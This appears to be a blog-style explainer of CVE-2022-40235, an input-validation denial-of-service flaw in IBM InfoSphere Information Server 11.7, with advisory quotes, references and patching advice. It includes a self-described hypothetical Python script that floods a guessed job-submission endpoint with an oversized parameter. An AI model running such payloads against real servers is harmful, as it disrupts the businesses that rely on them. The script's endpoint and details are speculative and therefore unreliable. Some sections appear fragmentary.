In late 2022, a security flaw cataloged as CVE-2022-40235 was identified in IBM InfoSphere Information Server 11.7. This issue could allow an attacker to cause a Denial of Service (DoS), making it impossible to run important jobs on the server. The bug arises from improper input validation—a technical way to say that the software doesn’t correctly check what users are allowed to enter. This article will break down how this vulnerability works, show you how someone might exploit it, and reference where you can discover more.
What is IBM InfoSphere Information Server?
IBM InfoSphere Information Server is a widely-used data integration software. Enterprises rely on it for managing, transforming, and delivering large volumes of data. A flaw in this server can have serious impacts, such as halting data jobs and disrupting business.
The Vulnerability: What Went Wrong
CVE-2022-40235 is tied to a simple problem: improper input validation. Let’s say the server expects a specific kind of input from users when setting up or starting jobs. When that checking is weak or missing, a user (or attacker) can send unexpected data. If the system tries to handle it without proper defenses, it might fail, sometimes catastrophically.
IBM described the vulnerability in their advisory
> “IBM InfoSphere Information Server 11.7 could allow a user to cause a denial of service by removing the ability to run jobs due to improper input validation.”
> (IBM X-Force ID: 235725)
Access Job Configuration
The attacker needs access to the part of InfoSphere where jobs are configured or started. This might require a user account.
Send Malicious Input
The attacker submits specially crafted (malicious) input through the job submission interface—something the software doesn’t expect, like an extremely large string, an unexpected character, or invalid binary data.
Hypothetical Exploit Code
Here’s a simple Python example showing how a user might automate sending a harmful payload to a vulnerable endpoint. (Note: This is only a representation and may not work out-of-the-box.)
import requests
# Replace with the real InfoSphere job API URL
url = "https://infoshpere-server.company.com/api/jobs/submit";
bad_payload = {
"jobName": "CriticalJob",
"parameters": "A" * 12000 # Overly long string to trigger failure
}
# Assume attacker has valid session credentials
headers = {
"Authorization": "Bearer eyJ...YourJWT...",
"Content-Type": "application/json"
}
response = requests.post(url, json=bad_payload, headers=headers)
if response.status_code != 200:
print(f"Job submission failed. Status: {response.status_code}")
else:
print("Job submitted, check for crash or DoS effect.")
This script automates the job submission with a huge string in the parameters field, which, if the input validation is missing or weak, could crash the processing service.
Real-World Impact
- Business interruption: Data import/export and transformation automatically halt.
IBM InfoSphere Information Server 11.7
Check your build and patch number. Even minor versions or patch fixes may still be vulnerable if you haven’t applied the official patch.
Original Advisory:
References
- CVE-2022-40235 at NVD
- IBM X-Force Exchange Advisory (ID: 235725)
- IBM Official Security Bulletin
Conclusion
CVE-2022-40235 is a reminder that even “simple” issues like missing input checks can take down mission-critical systems. If you run IBM InfoSphere Information Server 11.7—or if you know your organization does—make sure you’ve patched for this vulnerability.
Stay safe, validate ALL input, and keep your systems updated!
Timeline
Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 17:13:00 UTC